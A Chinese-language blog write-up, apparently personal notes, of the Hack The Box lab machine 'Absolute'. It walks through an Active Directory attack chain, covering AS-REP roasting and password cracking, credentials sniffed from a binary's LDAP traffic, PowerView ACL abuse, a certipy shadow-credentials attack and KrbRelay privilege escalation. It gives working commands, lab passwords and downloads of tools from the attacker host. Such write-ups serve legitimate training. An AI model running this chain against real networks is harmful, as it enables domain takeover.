HTB-Absolute

Absolute

初始权限获得

https://medium.com/@0xAn0m4ly/absolute-hackthebox-detailed-writeup-5bbce44b0cf6 writeup

https://arz101.medium.com/hackthebox-absolute-bdd0267d5d06 writeup

HTB: Absolute | 0xdf hacks stuff writeup

Shadow Credentials | Red Team Notes 影子凭证

端口扫描

smb不行

ldap不行

dig不行

dnsenum获得的子域名没什么用

访问80

feroxbuster -u http://absolute.htb 目录爆破没有什么有用的

bash循环脚本获取图片(username-anarchyshe弄成用户列表)

for i in $(seq 1 6); do wget http://absolute.htb/images/hero_${i}.jpg; done

exiftool hero_1.jpg

获取10张的

for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users

但使用username-anarchy生成用户名列表更容易

/opt/username-anarchy/username-anarchy -i users | tee usernames

验证

kerbrute userenum --dc dc.absolute.htb -d absolute.htb usernames

试试as-rep

GetNPUsers.py -dc-ip dc.absolute.htb -usersfile valid_users absolute.htb/

hashcat d.klay.hash /usr/share/wordlists/rockyou.txt

破解Darkmoonsky248gir

尝试验证失败crackmapexec(ntlm被禁用)
 crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl'
​
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION 

STATUS_ACCOUNT_RESTRICTION通常意味着 NTLM 被禁用,并且我需要使用 Kerberos 进行身份验证。这样可行:

oxdf@hacky$ crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k
​
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [+] absolute.htb\d.klay:Darkmoonsky248gi

这边的我的-k加上去后使用不了

使用kinit d.klay 直接生成票据的时候不行,是我的/etc/krb5.conf没配置好,后面有空来看看这两个错误

kinit d.klay 生成一张票

这边使用python3 getTGT.py absolute.htb/d.klay 也可以获得

使用bloodhound时记得加-ns,切记更新时间sudo ntpdate 10.10.11.181

bloodhound-python -u d.klay -p 'Darkmoonsky248girl' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip

啥都没有

看看smb

crackmapexec smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --shares

连接smb

smbclient.py 'absolute.htb/d.klay:Darkmoonsky248girl@dc.absolute.htb' -k -no-pass

没什么有用的

ldap枚举获得svc_smb(排错ldap)

提取的一项内容是用户列表

crackmapexec ldap 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k --users

svc_smb 用户描述“AbsoluteSMBService123!”看起来像是密码。

验证

crackmapexec smb 10.10.11.181 -u svc_smb -p 'AbsoluteSMBService123!' -k 成功

ldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w Darkmoonsky248girl -s base

会出现几个错误

这是因为该帐户受到限制(没有 NTLM,只有 Kerberos)。

我将使用它来指定 Kerberos 身份验证。安装包时-Y GSSAPI最好使用它来防止出现其他错误。libsasl2-modules-gssapi-mit``apt

尽管kinit有票,但我仍然收到此错误:

ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb"

为了解决这个问题,我将确保在我的文件中将其dc.absolute.htb放在前面

解决了可以正常使用

ldapsearch -H ldap://dc.absolute.htb -b "dc=absolute,dc=htb" | less

可以在在 svc_smb 用户的信息中找到密码

接着使用bloodhound

还是没什么有用的

看smb

crackmapexec smb dc.absolute.htb -k -u svc_smb -p 'AbsoluteSMBService123!' --shares

连接

smbclient.py 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass

看到有两个文件,下载来看看

# get compiler.sh # get test.exe

file查看

compiler.sh是一行,用于编译Nim程序。test.exe是 Windows 64 位 exe:

动态分析(获得m.lovegod)

转到 Windows 机器并运行此程序。什么也没发生。我将使用 Wireshark 运行,并注意到有一堆 DNS 查询发出:

更新我的hosts文件以包含_ldap._tcp.dc.absolute.htb,然后重新运行该程序。执行后 25-30 秒,会尝试在 Absolute 上绑定到 LDAP:

按照这个流程,看起来那里可能有一些信用

使用 NTLM 时,它遇到了AcceptSecurityContext与上述相同的错误。深入研究bindRequest(1)Wireshark 中的数据包,可以找到 mlovegod 的凭据:

该用户名未知,并且不符合其他帐户的格式。上面通过 LDAP 识别的用户中有一个 m.lovegod。这有效:

 crackmapexec smb 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -k

再次运用bloodhound

由于 m.lovegod(作为 Network Audit 组的成员)对 winrm_user 具有 GenericWrite 权限,这意味着我们可以修改其属性,msDS-KeyCredentialLink.该属性本身以序列化格式存储客户端的公钥和一堆其他数据。因此,如果我们可以写入该属性,则意味着我们可以获得该帐户的有效 TGT

因此,我们的想法是授予 m.lovegod 网络审计组的权限/ACL,将 m.lovegod 添加到该组,对 winrm_user 执行影子凭证攻击,最终获取他的 TGT。

将 m.lovegod 添加到 Network Audit

Bloodhound 给出了此行为的滥用信息:

为了使这次攻击成功,我必须将 Absolute 的 IP 配置为我的 VPN 接口的 DNS 服务器:

PS > $pass = ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential('absolute.htb\m.lovegod', $pass)

如果我尝试像上面一样运行命令,它会说这-PrincipleIdentity是必需的。查看文档,我会添加它和-DomainController选项。

PS > Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights All -PrincipalIdentity m.lovegod -DomainController dc.absolute.htb

现在要将 m.lovegod 添加到组,我将使用另一个PowerView命令行Add-DomainGroupMember

PS > Add-DomainGroupMember -Credential $cred -Identity "Network Audit" -member m.lovegod -Domain "absolute.htb"

查看一下是否加入了

PS > Get-DomainGroupMember -Credential $cred -Identity "Network Audit" -Domain "absolute.htb" -DomainController "dc.absolute.htb" | fl MemberName

影子凭证

如何使用 Whisker 在目标上以及使用 PyWhisker 远程执行此操作。PyWhisker 可以在这里工作,但Certipy将几个步骤打包成一个命令,因此我将在这里展示。它使用 安装pip install certipy-ad

certipy find将返回有关域以及 Active Directory 证书服务 (ADCS) 配置方式的各种信息。/tmp/krb5cc默认情况下它不会检查,因此我需要设置该环境变量才能使用它:

KRB5CCNAME=/tmp/krb5cc_1000 certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb

下一个命令需要 Kerberos 票证才能工作,并且似乎必须在将 m.lovegod 用户添加到组kinit生成票证。以下错误意味着我需要删除我的票证并重新创建它(使用或getTGT.py):

[-] Could not update Key Credentials for 'winrm_user' due to insufficient access rights: 00002098: SecErr: DSID-031514A0, problem 4003 (
INSUFF_ACCESS_RIGHTS), data 0

certipy shadow auto将向 winrm_user 用户添加影子凭证:

KRB5CCNAME=/tmp/krb5cc_1000 certipy shadow auto -username m.lovegod@absolute.htb -account winrm_user -k -target dc.absolute.htb

这创建了一个凭证并给出了 NT 哈希(对我来说这里没用)并在中保存了一张票winrm_user.ccache

KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb

成功横向

获取管理员权限

KrbRelay

为了使此攻击成功,目标必须:

  • 没有 2022 年 10 月补丁;

  • 必须禁用 LDAP 签名(这是 Windows 默认设置)。

我将把repo克隆到我的 Windows 主机并.sln在 Visual Studio 中打开该文件。我将转到“构建”>“批量构建”以获取此对话框:

我将为 Build 选择两个发布配置,然后单击 Build。虽然有相当多的警告,但它会报告成功并.exe为每个二进制文件提供路径:

Build started...
------ Build started: Project: CheckPort, Configuration: Release Any CPU ------
  CheckPort -> C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe
------ Build started: Project: KrbRelay, Configuration: Release Any CPU ------
C:\Tools\KrbRelay\KrbRelay\IStorage\ILockBytes.cs(24,23,24,61): warning CS0618: 'STATSTG' is obsolete: 'Use System.Runtime.InteropServices.ComTypes.STATSTG instead. http://go.microsoft.com/fwlink/?linkid=14202'
...[snip]...
C:\Tools\KrbRelay\KrbRelay\Misc\Natives.cs(320,24,320,26): warning CS0649: Field 'Natives.SOLE_AUTHENTICATION_SERVICE.hr' is never assigned to, and will always have its default value 0
  KrbRelay -> C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe
========== Build: 2 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

我会将两个二进制文件复制回我的 Linux 机器并将它们上传到 Absolute。

*Evil-WinRM* PS C:\programdata> wget 10.10.14.6/KrbRelay.exe -outfile KrbRelay.exe
*Evil-WinRM* PS C:\programdata> wget 10.10.14.6/CheckPort.exe -outfile CheckPort.exe
查找端口

CheckPort.exe将识别恶意服务器将运行的端口:

*Evil-WinRM* PS C:\programdata> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10

它标识端口 10。

识别 CLSID

与许多 Potato 攻击的工作原理非常相似,我需要具有正确权限的有效 RPC 服务的 CLSID。有一些工具可以在目标主机上发现这些,但通常从列出的一些默认工具中选择更简单、更快捷。

此主机正在运行 Windows 10.0.17763.3406:

*Evil-WinRM* PS C:\programdata> cmd /c ver
​
Microsoft Windows [Version 10.0.17763.3406]

映射到服务器 2019 或 Windows 10。KrbRelay README上有一个按操作系统列出的默认 CLSID 列表。

354ff91b-5e49-4bdc-a8e6-1cb6c6877182
失败

我现在将使用 中的语法来运行它README.md,但失败了:

*Evil-WinRM* PS C:\programdata> .\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember "Domain Admins" winrm_user
[*] Relaying context: absolute.htb\DC$

解决(使用RunAsCs)

RunAsCs是一款允许以具有不同凭据的用户身份运行的工具。我将下载该版本并将其上传到 Absolute.qq

我已经获得了 m.lovegod 的凭据,因此我将RunasCs.exe使用该用户名和密码包装我之前的命令并-d提供域名。它失败了:

*Evil-WinRM* PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user"
[-] RunasCsException: Selected logon type '2' is not granted to the user 'm.lovegod'. Use available logon type '3'.

它试图创建一个登录类型 2 进程,但该进程被阻止(可能是由于 NTLM 被禁用)。它建议使用类型 3,但也失败了。

此 Microsoft 页面有一个登录类型表。Runas/Network 是类型 9 的示例。我将尝试:

Evil-WinRM PS C:\programdata> .\RunasCs.exe m.lovegod 'AbsoluteLDAP2022!' -d absolute.htb -l 9 ".\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -add-groupmember administrators winrm_user"

报告成功。并且 winrm_user 属于管理员组:

https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/powershell工具的学习

  • 13
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值